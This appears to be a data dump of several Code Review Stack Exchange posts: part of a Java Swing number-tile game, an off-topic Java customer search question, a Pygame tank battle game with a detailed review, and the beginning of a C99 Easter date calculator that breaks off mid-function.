/**
* Returns a colour that has not been used in a selection before.
*
* @return a color
*/
private Color getRandomUniqueColour() {
Color selectionColour;
do {
selectionColour = colours[RandomUtils.getRandom(0, colours.length - 1)];
} while (selectionColourAlreadyInUse(selectionColour));
return selectionColour;
}
/**
* Colours a selection. A selection of 2 tiles has 1 colour.
*
* @param g Graphics object
*/
private void colourSelectionTiles(Graphics g) {
// Make sure we don't use the same colour for 2 consecutive selections.
selectionColour = getRandomUniqueColour();
for (Integer[] selection : gameModelHandle.getSelections()) {
// Draw the indexes in the selection in that color.
for (int i = 0; i < selection.length; i++) {
// When a tile already has a color, we draw it again with the same color.
if (currentTileColours[selection[i]] != Color.WHITE) {
colourTile(currentTileColours[selection[i]], selection[i], g);
continue;
}
// The tile is white, so we assign the selection's random colour to it.
colourTile(selectionColour, selection[i], g);
// Keep track of the tile's colour.
currentTileColours[selection[i]] = selectionColour;
}
}
}
public void newGame() {
this.numberOfTiles = gameModelHandle.numbersToString(gameModelHandle.getNumbers()).length();
this.selectionColour = null;
initializeColours();
this.repaint();
}
public int getNumberOfTiles() {
return this.numberOfTiles;
}
public TilePanel(GameModel gameModel) {
if (gameModel == null)
throw new IllegalArgumentException("Should provide a valid instance of GameModel!");
gameModelHandle = gameModel;
this.numberOfTiles = gameModelHandle.numbersToString(gameModelHandle.getNumbers()).length();
// Initialize our array of tile colours
initializeColours();
}
}
</code></pre>
<p><strong>TilePanelMouseAdapter.java</strong></p>
<pre><code>package ui;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import logic.GameViewController;
/**
* The tile panel mouse adapter controls the actions performed when a mouse
* click is registered on the TilePanel component.
*
*/
public class TilePanelMouseAdapter extends MouseAdapter {
/**
* A reference to the main GameViewController instance.
*/
private GameViewController gameViewController;
/**
* The tile the user started his click in.
*/
private int clickStartTile;
/**
* The tile the user ended his click in.
*/
private int clickEndTile;
public TilePanelMouseAdapter(GameViewController gameViewController) {
super();
this.gameViewController = gameViewController;
}
@Override
public void mousePressed(MouseEvent e) {
// Set the start tile index using mouse coordinates.
clickStartTile = gameViewController.getTilePanel().getTileIndex(gameViewController.getTilePanel().getWidth(),
gameViewController.getTilePanel().getNumberOfTiles(), e.getX(), e.getY());
}
@Override
public void mouseReleased(MouseEvent e) {
// Set the end tile index using mouse coordinates.
clickEndTile = gameViewController.getTilePanel().getTileIndex(gameViewController.getTilePanel().getWidth(),
gameViewController.getTilePanel().getNumberOfTiles(), e.getX(), e.getY());
// getTileIndex returns -1 if it's not a valid tile, so if any of the tiles
// are -1, it's an invalid tile.
boolean isValidTile = clickStartTile > -1 && clickEndTile > -1;
// Click is started in a tile but not ended in one.
if (!isValidTile) {
return;
}
// If we don't end our click in the same tile,
// it's a group of 2.
if (clickStartTile != clickEndTile) {
gameViewController.getGameModel().select(gameViewController.getGameModel().getNumbers(),
gameViewController.getGameModel().getSelections(), clickStartTile, clickEndTile);
} else {
gameViewController.getGameModel().select(gameViewController.getGameModel().getNumbers(),
gameViewController.getGameModel().getSelections(), clickStartTile);
}
// Set the sum label.
gameViewController.resetLabels();
gameViewController.getTilePanel().repaint();
}
}
</code></pre>
<p><strong>NextButtonActionListener.java</strong></p>
<pre><code>package ui;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import logic.GameViewController;
/**
* The next button action listener controls the actions performed
* when the next button is pressed.
*
*/
public class NextButtonActionListener implements ActionListener {
private GameViewController gameViewController;
public NextButtonActionListener(GameViewController gameViewController) {
this.gameViewController = gameViewController;
}
@Override
public void actionPerformed(ActionEvent e) {
// Generate new numbers, clear selections, etc.
gameViewController.getGameModel().newGame(gameViewController.getGameModel().getNumbers(),
gameViewController.getGameModel().getSelections());
// Reset tiles to white and paint new numbers.
gameViewController.getTilePanel().newGame();
gameViewController.getGameModel().setResets(0);
TimerActionListener timer = (TimerActionListener) gameViewController.getTimer().getActionListeners()[0];
timer.resetTime();
gameViewController.resetLabels();
}
}
</code></pre>
<p><strong>ResetButtonActionListener.java</strong></p>
<pre><code>package ui;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import logic.GameViewController;
/**
* The reset button action listener controls the action performed
* when the reset button is pressed.
*
*/
public class ResetButtonActionListener implements ActionListener {
GameViewController gameViewController;
public ResetButtonActionListener(GameViewController gameViewController) {
this.gameViewController = gameViewController;
}
@Override
public void actionPerformed(ActionEvent e) {
// Reset tiles to white and paint new numbers.
gameViewController.getTilePanel().newGame();
gameViewController.getGameModel().getSelections().clear();
gameViewController.getGameModel().setResets(gameViewController.getGameModel().getResets() + 1);;
gameViewController.updateResetsLabel(gameViewController.getGameModel().getResets());
gameViewController.resetLabels();
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T21:11:44.280",
"Id": "420825",
"Score": "1",
"body": "Note that all code must be posted here directly as text and formatted. Paste it here, then highlight it and press the `{}` button in the editor."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T21:12:41.517",
"Id": "420826",
"Score": "0",
"body": "Ok, I am working on it now."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T10:39:41.103",
"Id": "420896",
"Score": "0",
"body": "the code is not complete - `TilePanel.getTileIndex(..)` is missing a return statement ^_^"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T11:37:31.690",
"Id": "420900",
"Score": "0",
"body": "I added the return statement and missing method."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T21:10:41.127",
"Id": "217512",
"Score": "3",
"Tags": [
"java",
"object-oriented",
"game",
"swing",
"gui"
],
"Title": "Java game: select numbered tiles to form a goal sum"
} | 217512 |
<p>I dont know why my code is not working at all. In my Eclipse there's no errors shown at all. </p>
<p>I want to use the id to print the name of my customers, and that's my goal </p>
<pre><code>Customer[] custArray = { new Customer("Chen",35), new Customer("You",36) };
public Customer searchCustomerByID(int custID){
for(Customer c:customers){
if(c.getID() == custID)
return c;
}
return null;
}
<span class="math-container">````</span>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:59:09.187",
"Id": "420878",
"Score": "2",
"body": "`my code is not working at all` makes this question [off-topic at Code Review@SE](https://codereview.stackexchange.com/help/on-topic). Please heed [How to create a Minimal, Complete, and Verifiable example at SO](https://stackoverflow.com/help/mcve)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:46:12.617",
"Id": "420888",
"Score": "1",
"body": "@greybeard: Actually, here we only want a CVE, a Complete and Verifiable Example. We want to have all the code rather than example code taken out of context."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:48:42.067",
"Id": "420890",
"Score": "0",
"body": "(@Graipher: as I augmented the explication of mcve with the site I have been referring to, I think the `Actually` is uncalled for.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:53:31.990",
"Id": "420891",
"Score": "1",
"body": "@greybeard: Yes, that first sentence certainly helps. However I think linking to the SO mcve page is not the best way to show the OP how a question should look like on Code Review. IMO the link to our help center should be sufficient. Otherwise you would always have to specify which parts of the mcve page need to be explicitly ignored when posting here (namely the minimal part)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T10:58:11.507",
"Id": "420897",
"Score": "0",
"body": "(As the question is entirely off-topic here, I tried to refer poster and question to SO.)"
}
] | [
{
"body": "<p>You wrote this:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>for (Customer c : customers)\n{\n if (c.getID == customID) return c;\n}\n</code></pre>\n\n<p>The array is called <code>custArray</code>. And the for-each is iterating over an array of <code>Customer</code>s cales <code>customers</code>. So, the simple solution is to change <code>customers</code> to <code>custArray</code>! Hope that helps. ;)</p>\n\n<p>EDIT: this should be on Stack Overflow.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T04:14:43.737",
"Id": "420859",
"Score": "2",
"body": "Welcome to Code Review. Please refuse to answer off-topic questions."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T01:56:15.207",
"Id": "217525",
"ParentId": "217523",
"Score": "-1"
}
}
] | {
"AcceptedAnswerId": "217525",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T00:59:02.213",
"Id": "217523",
"Score": "-2",
"Tags": [
"java"
],
"Title": "Search customer by ID not printing"
} | 217523 |
<p>I've created a 2-player tank battle game. The code however seems like it could be greatly simplified and there are a few issues. One of which is the hitboxes of the tank seem a bit unreliable. Sometimes when a bullet is fired, it will hit the empty space next to a tank and count as a hit, but other times it will pass straight through the tank.</p>
<p>This is using Pygame for Python 3.6.3. This program is a modification of a program shown in "More Python Programming for the Absolute Beginner" by Jonathon Harbour (Chapter 12). I’m looking for ways to improve and simplify my program.</p>
<pre><code># Tank 2-Player Battle Game
import sys, time, random, math, pygame
from pygame.locals import *
from My_Library import *
class Bullet():
def __init__(self, position):
self.alive = True
self.color = (250, 20, 20)
self.position = Point(position.x, position.y)
self.velocity = Point(0, 0)
self.rect = Rect(0, 0, 4, 4)
self.owner = ""
def update(self, ticks):
self.position.x -= self.velocity.x * 10.0
self.position.y -= self.velocity.y * 10.0
if self.position.x < 0 or self.position.x > 800 \
or self.position.y < 0 or self.position.y > 600:
self.alive = False
self.rect = Rect(self.position.x, self.position.y, 4, 4)
def draw(self, surface):
pos = (int(self.position.x), int(self.position.y))
pygame.draw.circle(surface, self.color, pos, 4, 0)
def fire_cannon(tank):
position = Point(tank.turret.X, tank.turret.Y)
bullet = Bullet(position)
angle = tank.turret.rotation + 90
bullet.velocity = angular_velocity(angle)
bullets.append(bullet)
play_sound(shoot_sound)
return bullet
def player_fire_cannon():
bullet = fire_cannon(player)
bullet.owner = "player"
bullet.color = (30, 250, 30)
def player2_fire_cannon():
bullet = fire_cannon(player2)
bullet.owner = "player2"
bullet.color = (250, 30, 30)
class Tank(MySprite):
def __init__(self, tank_file, turret_file):
MySprite.__init__(self)
self.load(tank_file, 50, 60, 4)
self.speed = 0.0
self.scratch = None
self.float_pos = Point(0, 0)
self.velocity = Point(0, 0)
self.turret = MySprite()
self.turret = MySprite()
self.turret.load(turret_file, 32, 64, 4)
self.fire_timer = 0
def update(self,ticks):
# update chassis
MySprite.update(self, ticks, 100)
self.rotation = wrap_angle(self.rotation)
self.scratch = pygame.transform.rotate(self.image, -self.rotation)
angle = wrap_angle(self.rotation-90)
self.velocity = angular_velocity(angle)
self.float_pos.x += self.velocity.x * 2
self.float_pos.y += self.velocity.y * 2
# warp tank around screen edges (keep it simple)
if self.float_pos.x < -50: self.float_pos.x = 800
elif self.float_pos.x > 800: self.float_pos.x = -50
if self.float_pos.y < -60: self.float_pos.y = 600
elif self.float_pos.y > 600: self.float_pos.y = -60
# transfer float position to integer position for drawing
self.X = int(self.float_pos.x)
self.Y = int(self.float_pos.y)
# update turret
self.turret.position = (self.X, self.Y)
self.turret.last_frame = 0
self.turret.update(ticks, 100)
self.turret.rotation = wrap_angle(self.turret.rotation)
angle = wrap_angle(self.turret.rotation)
self.turret.scratch = pygame.transform.rotate(self.turret.image, -angle)
def draw(self, surface):
# draw the chassis
width, height = self.scratch.get_size()
center = Point(width/2, height/2)
surface.blit(self.scratch, (self.X-center.x, self.Y-center.y))
# draw the turret
width, height = self.turret.scratch.get_size()
center = Point(width/2, height/2)
surface.blit(self.turret.scratch, (self.turret.X-center.x,
self.turret.Y-center.y))
def __str__(self):
return MySprite.__str__(self) + "," + str(self.velocity)
# this function initializes the game
def game_init():
global screen, backbuffer, font, timer, player_group, player, \
player2, bullets
pygame.init()
screen = pygame.display.set_mode((800, 600))
backbuffer = pygame.Surface((800, 600))
pygame.display.set_caption("Tank Battle Game")
font = pygame.font.Font(None, 30)
timer = pygame.time.Clock()
pygame.mouse.set_visible(False)
# create player tank
player = Tank("tank.png", "turret.png")
player.float_pos = Point(400, 300)
# create second player tank
player2 = Tank("enemy_tank.png", "enemy_turret.png")
player2.float_pos = Point(random.randint(50, 760), 50)
# create bullets
bullets = list()
# this function initializes the audio system
def audio_init():
global shoot_sound, boom_sound
# initialize the audio mixer
pygame.mixer.init()
# load sound files
shoot_sound = pygame.mixer.Sound("shoot.wav")
boom_sound = pygame.mixer.Sound("boom.wav")
# this function uses any available channel to play a sound clip
def play_sound(sound):
channel = pygame.mixer.find_channel(True)
channel.set_volume(0.5)
channel.play(sound)
# main program begins
game_init()
audio_init()
game_over = False
player_score = 0
player2_score = 0
last_time = 0
action1 = False
action2 = False
action3 = False
action4 = False
action5 = False
action6 = False
# main loop
while True:
timer.tick(30)
ticks = pygame.time.get_ticks()
# event section
for event in pygame.event.get():
if event.type == QUIT:
pygame.display.quit()
pygame.quit()
sys.exit()
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_LEFT:
action1 = True
if event.key == pygame.K_RIGHT:
action2 = True
if event.key == pygame.K_a:
action3 = True
if event.key == pygame.K_d:
action4 = True
if event.key == pygame.K_UP:
action5 = True
if event.key == pygame.K_w:
action6 = True
if event.type == pygame.KEYUP:
if event.key == pygame.K_LEFT:
action1 = False
if event.key == pygame.K_RIGHT:
action2 = False
if event.key == pygame.K_a:
action3 = False
if event.key == pygame.K_d:
action4 = False
if event.key == pygame.K_UP:
action5 = False
if event.key == pygame.K_w:
action6 = False
if action1 == True:
player.rotation -= 4.0
player.turret.rotation -= 4.0
if action2 == True:
player.rotation += 4.0
player.turret.rotation += 4.0
if action3 == True:
player2.rotation -= 4.0
player2.turret.rotation -= 4.0
if action4 == True:
player2.rotation += 4.0
player2.turret.rotation += 4.0
if action5 == True:
if ticks > player.fire_timer + 1000:
player.fire_timer = ticks
player_fire_cannon()
if action6 == True:
if ticks > player2.fire_timer + 1000:
player2.fire_timer = ticks
player2_fire_cannon()
# update section
if not game_over:
# move tank
player.update(ticks)
# update player two
player2.update(ticks)
# update bullets
for bullet in bullets:
bullet.update(ticks)
if bullet.owner == "player":
if pygame.sprite.collide_rect(bullet, player2):
player_score += 1
bullet.alive = False
play_sound(boom_sound)
elif bullet.owner == "player2":
if pygame.sprite.collide_rect(bullet, player):
player2_score += 1
bullet.alive = False
play_sound(boom_sound)
# drawing section
backbuffer.fill((100, 100, 20))
for bullet in bullets:
bullet.draw(backbuffer)
player.draw(backbuffer)
player2.draw(backbuffer)
screen.blit(backbuffer, (0, 0))
if not game_over:
print_text(font, 0, 0, "PLAYER 1: " + str(player_score))
print_text(font, 650, 0, "PLAYER 2: " + str(player2_score))
else:
print_text(font, 0, 0, "GAME OVER")
pygame.display.update()
# remove expired bullets
for bullet in bullets:
if bullet.alive == False:
bullets.remove(bullet)
</code></pre>
<p>Here is the My_Library file that is imported at the beginning:</p>
<pre><code># MyLibrary.py
import sys, time, random, math, pygame
from pygame.locals import *
# calculates velocity of an angle
def angular_velocity(angle):
vel = Point(0, 0)
vel.x = math.cos( math.radians(angle) )
vel.y = math.sin( math.radians(angle) )
return vel
# calculates angle between two points
def target_angle(x1, y1, x2, y2):
delta_x = x2 - x1
delta_y = y2 - y1
angle_radians = math.atan2(delta_y, delta_x)
angle_degrees = math.degrees(angle_radians)
return angle_degrees
# wraps a degree angle at boundary
def wrap_angle(angle):
return abs(angle % 360)
# prints text using the supplied font
def print_text(font, x, y, text, color = (255, 255, 255)):
imgText = font.render(text, True, color)
screen = pygame.display.get_surface()
screen.blit(imgText, (x, y))
# MySprite class extends pygame.sprite.Sprite
class MySprite(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self) # extend the base Sprite class
self.master_image = None
self.frame = 0
self.old_frame = -1
self.frame_width = 1
self.frame_height = 1
self.first_frame = 0
self.last_frame = 0
self.columns = 1
self.last_time = 0
self.direction = 0
self.velocity = Point(0, 0)
self.rotation = 0.0 # degrees # added
self.old_rotation = 0.0 # added
# X property
def _getx(self): return self.rect.x
def _setx(self, value): self.rect.x = value
X = property(_getx, _setx)
# Y property
def _gety(self): return self.rect.y
def _sety(self, value): self.rect.y = value
Y = property(_gety, _sety)
# position property
def _getpos(self): return self.rect.topleft
def _setpos(self, pos): self.rect.topleft = pos
position = property(_getpos, _setpos)
def load(self, filename, width, height, columns):
self.master_image = pygame.image.load(filename).convert_alpha()
self.frame_width = width
self.frame_height = height
self.rect = Rect(0, 0, width, height)
self.columns = columns
# try to auto-calculate total frames
rect = self.master_image.get_rect()
self.last_frame = (rect.width // width) * (rect.height // height) - 1
def update(self, current_time, rate=30):
if self.last_frame > self.first_frame:
# update animation frame number
if current_time > self.last_time + rate:
self.frame += 1
if self.frame > self.last_frame:
self.frame = self.first_frame
self.last_time = current_time
else:
self.frame = self.first_frame
# build current frame only if it changed
if self.frame != self.old_frame:
frame_x = (self.frame % self.columns) * self.frame_width
frame_y = (self.frame // self.columns) * self.frame_height
rect = Rect(frame_x, frame_y, self.frame_width, self.frame_height)
self.image = self.master_image.subsurface(rect)
self.old_frame = self.frame
def __str__(self):
return str(self.frame) + "," + str(self.first_frame) + \
"," + str(self.last_frame) + "," + str(self.frame_width) + \
"," + str(self.frame_height) + "," + str(self.columns) + \
"," + str(self.rect)
def load(self, filename, width = 0, height = 0, columns = 1):
self.master_image = pygame.image.load(filename).convert_alpha()
self.set_image(self.master_image, width, height, columns)
def set_image(self, image, width = 0, height = 0, columns = 1):
self.master_image = image
if width == 0 and height == 0:
self.frame_width = image.get_width()
self.frame_height = image.get_height()
else:
self.frame_width = width
self.frame_height = height
rect = self.master_image.get_rect()
self.last_frame = (rect.width//width) * (rect.height//height) - 1
self.rect = Rect(0, 0, self.frame_width, self.frame_height)
self.columns = columns
# Point class
class Point(object):
def __init__(self, x, y):
self.__x = x
self.__y = y
# X property
def getx(self): return self.__x
def setx(self, x): self.__x = x
x = property(getx, setx)
# Y property
def gety(self): return self.__y
def sety(self, y): self.__y = y
y = property(gety, sety)
def __str__(self):
return "{X:" + "{:.0f}".format(self.__x) + \
",Y:" + "{:.0f}".format(self.__y) + "}"
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:18:49.500",
"Id": "420848",
"Score": "0",
"body": "Is there a repo with the other files?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:35:31.073",
"Id": "420851",
"Score": "0",
"body": "All of the other files are built into python and pygame. I don’t know a lot about their inner workings, but the information can all be found on the internet. Here’s a link to the pygame website: https://www.pygame.org/docs/tut/ImportInit.html"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:42:12.510",
"Id": "420854",
"Score": "0",
"body": "It wouldn’t let me edit my comment further, but I found the link to the Python repository: https://pypi.org/search/?q=time"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:44:43.310",
"Id": "420855",
"Score": "0",
"body": "Are the bullets supposed to be rectangular or circular? You're drawing them as circles, yet checking for intersection as rectangular."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:46:06.437",
"Id": "420856",
"Score": "0",
"body": "The bullets are supposed to be circular."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T08:52:01.863",
"Id": "420881",
"Score": "0",
"body": "What are you expecting from the community? Explaining and fixing your code? I would consider this as [off-topic](https://codereview.stackexchange.com/help/dont-ask) for Code Review. If you want feedback on your code in general, then your [good to go](https://codereview.stackexchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T11:40:18.793",
"Id": "420901",
"Score": "0",
"body": "@Alex I just want general feedback on my code. However, I’m pointing out one of the main issues I’m looking to fix. I already have a working game. I’m only trying to improve it. If I came across as wanting someone to just explain and fix my code then I apologize."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:36:57.057",
"Id": "420923",
"Score": "0",
"body": "@MuckinAround145 The file(s) I was asking about are things like `tank.png`. I'm trying to run your code, and it has all these demands..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:56:38.703",
"Id": "420926",
"Score": "0",
"body": "@AustinHastings Here’s a link to the files. If you download them the tank.png and other pictures should be in the chapter 12 folder. http://www.delmarlearning.com/companions/content/1435455002/downloads/index.asp?isbn=1435455002"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:35:50.867",
"Id": "421018",
"Score": "0",
"body": "@MuckinAround145: Unfortunately changing what your code does is off-topic here. The general feedback part, however is very much on-topic. I would recommend you remove the part about seeking help fixing the hitboxes. You might want to mention that there is currently a problem with them, but that this can be ignored. This would make the question on-topic IMO."
}
] | [
{
"body": "<p>You have provided a lot of code, and it's not super well organized. So I'm going to focus on that, plus some things I noticed in passing. There's probably enough for another review once you incorporate what you learn from this one.</p>\n\n<p>First, you have some good ideas. Moving \"basic\" things into a library is a good idea. Using classes is a good idea. Breaking your conceptually related statements into functions is a good idea. For the most part, you are on target with what you are doing and how you are doing it.</p>\n\n<p>Now for the not-most part: ;-)</p>\n\n<h1>PEP 8</h1>\n\n<p>You code isn't PEP-8 in a lot of ways. Some of them are harmful, and some are just irritating. <code>My_Library</code> is irritating <em>and</em> harmful: not every filesystem is case-aware, so you can't depend on caps; and the name is useless. Either name it something application related (tank_library) or something platform related (pygame_utils).</p>\n\n<h2>Comments</h2>\n\n<p>Comments are funny things. Most coding classes try to encourage you to use them, but don't provide you with enough of a challenge to actually <em>need</em> them. So they encourage you to put in worthless comments, just to get in the habit. That appears to have happened to you. Consider this:</p>\n\n<pre><code># MySprite class extends pygame.sprite.Sprite\nclass MySprite(pygame.sprite.Sprite):\n</code></pre>\n\n<p>This is a classic \"worthless comment.\" The comment merely says in English exactly what the code says in the syntax of Python. It's right up there with</p>\n\n<pre><code>x = x + 1 # add 1 to x\n</code></pre>\n\n<p>You should delete any comment like this, since it provides no value presently, and might eventually drift into being wrong and providing negative value.</p>\n\n<p>Now consider this:</p>\n\n<pre><code># prints text using the supplied font\ndef print_text(font, x, y, text, color = (255, 255, 255)):\n</code></pre>\n\n<p>This is almost a worthless comment. But it's also almost a useful comment. Except that there are no useful comments on functions. What you want is to make this into a <strong>useful docstring:</strong></p>\n\n<pre><code>def print_text(...etc...):\n ''' Display text on screen at position (x, y) using font & color. '''\n</code></pre>\n\n<p>Even more useful would be to specify what position (x, y) means. Is that the top left, bottom left, the center, the baseline? Also, color is semi-obvious since you provide a default, but how about font? Is that a string name, or a Font object, or ... ?</p>\n\n<p>The nice thing about docstrings is that you can write as much as you want, and it can be nicely useful in a lot of ways, including just doing <code>help(print_text)</code> in the REPL. Comments, not so much.</p>\n\n<p>Finally, consider this:</p>\n\n<pre><code># transfer float position to integer position for drawing\nself.X = int(self.float_pos.x)\nself.Y = int(self.float_pos.y)\n</code></pre>\n\n<p>This seems like a useful comment. It explains too much of what you're doing -- after all, I can see you are converting from float to int. But it does explain <em>why</em> you are doing something non-obvious. That provides some value. </p>\n\n<p>(Note: the presence of <code>.X</code> as an integer drawable version of <code>.x</code> might not <em>have</em> value, per se. But the comment has value, since it makes clear something that wouldn't be clear otherwise.)</p>\n\n<h2>Organization</h2>\n\n<h3>Class Bullet</h3>\n\n<p>Class <code>Bullet</code> has an <code>update</code> and a <code>draw</code> method, but it is not a subclass of anything:</p>\n\n<pre><code>class Bullet():\n def __init__(self, position): ...\n def update(self, ticks): ...\n def draw(self, surface): ...\n</code></pre>\n\n<p>If it's not a subclass, you can drop the parentheses after the name. But it probably should be a subclass, either of <code>Sprite</code> or <code>MySprite</code>. Pygame provides sprite groups to do what you are doing manually. You should put your bullets into one.</p>\n\n<h3>Class Tank</h3>\n\n<p>Now this:</p>\n\n<pre><code>def fire_cannon(tank):\n ...\n\ndef player_fire_cannon():\n bullet = fire_cannon(player)\n ...\n\ndef player2_fire_cannon():\n bullet = fire_cannon(player2)\n ...\n\nclass Tank(MySprite):\n</code></pre>\n\n<p>If only there were some mechanism whereby you could write a function that would have access to a collection of related data... Oh, wait! You could make <code>fire_cannon</code> a method of class <code>Tank</code>.</p>\n\n<pre><code>def __init__(self, tank_file, turret_file):\n MySprite.__init__(self)\n\ndef update(self,ticks):\n # update chassis\n MySprite.update(self, ticks, 100)\n</code></pre>\n\n<p>The built-in function you are looking for here is <a href=\"https://rhettinger.wordpress.com/2011/05/26/super-considered-super/\" rel=\"noreferrer\"><code>super()</code></a>.</p>\n\n<p>And speaking of the <code>update</code> method: delegate! You Tank has a chassis and a turret, and they get drawn differently. So make the turret (or the chassis) a separate sprite, and \"manage\" it from the Tank class. </p>\n\n<p>You might even consider making <em>both</em> of them separate sprites, and having the Tank be invisible or not a sprite at all. This would be the difference between \"is-a\" sprite and \"has-a\" sprite. If the tank is just a holder for a collection of other sprites (and a central position), a lot of your code probably gets shorter because the classes can handle it.</p>\n\n<h3>Pygame</h3>\n\n<p>You need Pygame in both your library and your main file. Consider trying to push all the explicit pygame dependencies into a single file, and your non-pygame dependencies into the other file. This won't actually result in an app/library distribution, but it might help you to identify \"pure\" objects that you can optimize in different ways. </p>\n\n<h3>class Point</h3>\n\n<p>This is horrible:</p>\n\n<pre><code>self.position = Point(position.x, position.y)\n</code></pre>\n\n<p>If <code>position</code> is a Point, why can't you just either refer to it, or initialize a new one using an instance of the same class?</p>\n\n<pre><code>self.position = position\n# or\nfrom copy import copy\nself.position = copy(position)\n# or\nself.position = Point(position)\n</code></pre>\n\n<p>In fact, I'd suggest that you use <code>namedtuple</code> for your point class. It's built-in, and it does almost everything you want:</p>\n\n<pre><code>from collections import namedtuple\nPoint = namedtuple('Point', 'x y')\np1 = Point(123, 456)\np2 = Point(*p1)\n</code></pre>\n\n<p>Note the \"splat:\" <code>*p1</code>. Or you could <em>inherit</em> from the named tuple and provide your own <code>__new__</code> method which does the splatting for you:</p>\n\n<pre><code>def __new__(cls, p_or_x, y=None):\n if isinstance(p_or_x, cls):\n # New Point from old Point\n return super().__new__(cls, *p_or_x)\n else:\n # New Point from x, y\n return super().__new__(cls, p_or_x, y)\n</code></pre>\n\n<p>Speaking of PEP 8: please don't use __x and __y unless you know that you need to. (You don't.) Names that start with double underscores, other than the special \"dunder\" names, are \"mangled\" internally. That's great for solving a specific problem, but you don't have that problem. Just use <code>x</code> until you have a property method, then switch to <code>_x</code>.</p>\n\n<p>Here are some unrelated lines of code:</p>\n\n<pre><code> self.position.x -= self.velocity.x * 10.0\n self.position.y -= self.velocity.y * 10.0\n pos = (int(self.position.x), int(self.position.y))\n</code></pre>\n\n<p>If you have a look at the \"dunder methods\" available, you will find that it's possible to implement things like scalar multiplication and in-place subtraction. You might even find a way to <code>trunc</code>ate values ;-)</p>\n\n<pre><code>from math import trunc\n\ndef __trunc__(self):\n return self.__class__(trunc(self.x), trunc(self.y))\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T14:58:31.400",
"Id": "217560",
"ParentId": "217526",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T02:19:31.530",
"Id": "217526",
"Score": "1",
"Tags": [
"python",
"python-3.x",
"pygame"
],
"Title": "2-Player Tank Battle Game"
} | 217526 |
<p>Computing Easter for a given year is a classic computational problem.</p>
<p>It is also one of the few cases when code seems to just have to live with <a href="https://en.wikipedia.org/wiki/Magic_number_(programming)" rel="nofollow noreferrer">magic numbers</a>.</p>
<p>Alternative to magic numbers: <a href="https://math.stackexchange.com/q/896954/83175">Decoding Gauss' Easter Algorithm</a></p>
<p>So I thought <a href="https://en.wikipedia.org/wiki/Notre-Dame_de_Paris#2019_Fire" rel="nofollow noreferrer">today</a>, I'd do something positive and make an Easter bar graph.</p>
<p><strong>C99 Review goal: General coding comments, style, etc.</strong></p>
<pre><code>// easter.h
// chux: April 15, 2019
#ifndef EASTER_H
#define EASTER_H
#define EASTER_EPOCH_YEAR 33
#define EASTER_JULIAN_YEAR EASTER_EPOCH_YEAR
#define EASTER_GREGORIAN_EPOCH_YEAR 1582 /* 15 October 1582 */
#define EASTER_JULIAN_PERIOD 532
#define EASTER_GREGORIAN_PERIOD 5700000
typedef struct ymd {
int y, m, d;
} ymd;
ymd Easter_DateJulian(int year);
ymd Easter_DateGregorian(int year);
ymd Easter_Date(int year);
#endif
// easter.c
/*
* Anonymous Gregorian algorithm: Meeus/Jones/Butcher
* * Dates of Easter
* Astronomical Algorithms 1991
* Jean Meeus
* https://en.wikipedia.org/wiki/Computus#Anonymous_Gregorian_algorithm
*
* Meeus's Julian algorithm
* https://en.wikipedia.org/wiki/Computus#Meeus's_Julian_algorithm
*/
ymd Easter_DateJulian(int year) {
if (year < EASTER_EPOCH_YEAR) {
return (ymd) {0, 0, 0};
}
int a = year % 4;
int b = year % 7;
int c = year % 19;
int d = (19 * c + 15) % 30;
int e = (2 * a + 4 * b - d + 34) % 7;
int f = (d + e + 114) / 31;
int g = (d + e + 114) % 31;
return (ymd) {year, f, g + 1};
}
ymd Easter_DateGregorian(int year) {
if (year <= EASTER_GREGORIAN_EPOCH_YEAR) {
return (ymd) {0, 0, 0};
}
int a = year%19;
int b = year/100;
int c = year%100;
int d = b/4;
int e = b%4;
int f = (b+8)/25;
int g = (b-f+1)/3;
int h = (19*a + b - d - g + 15)%30;
int i = c/4;
int k = c%4;
int l = (32 + 2*e + 2*i - h - k)%7;
int m = (a+11*h + 22*l) / 451;
int n = (h + l - 7 *m + 114)/31;
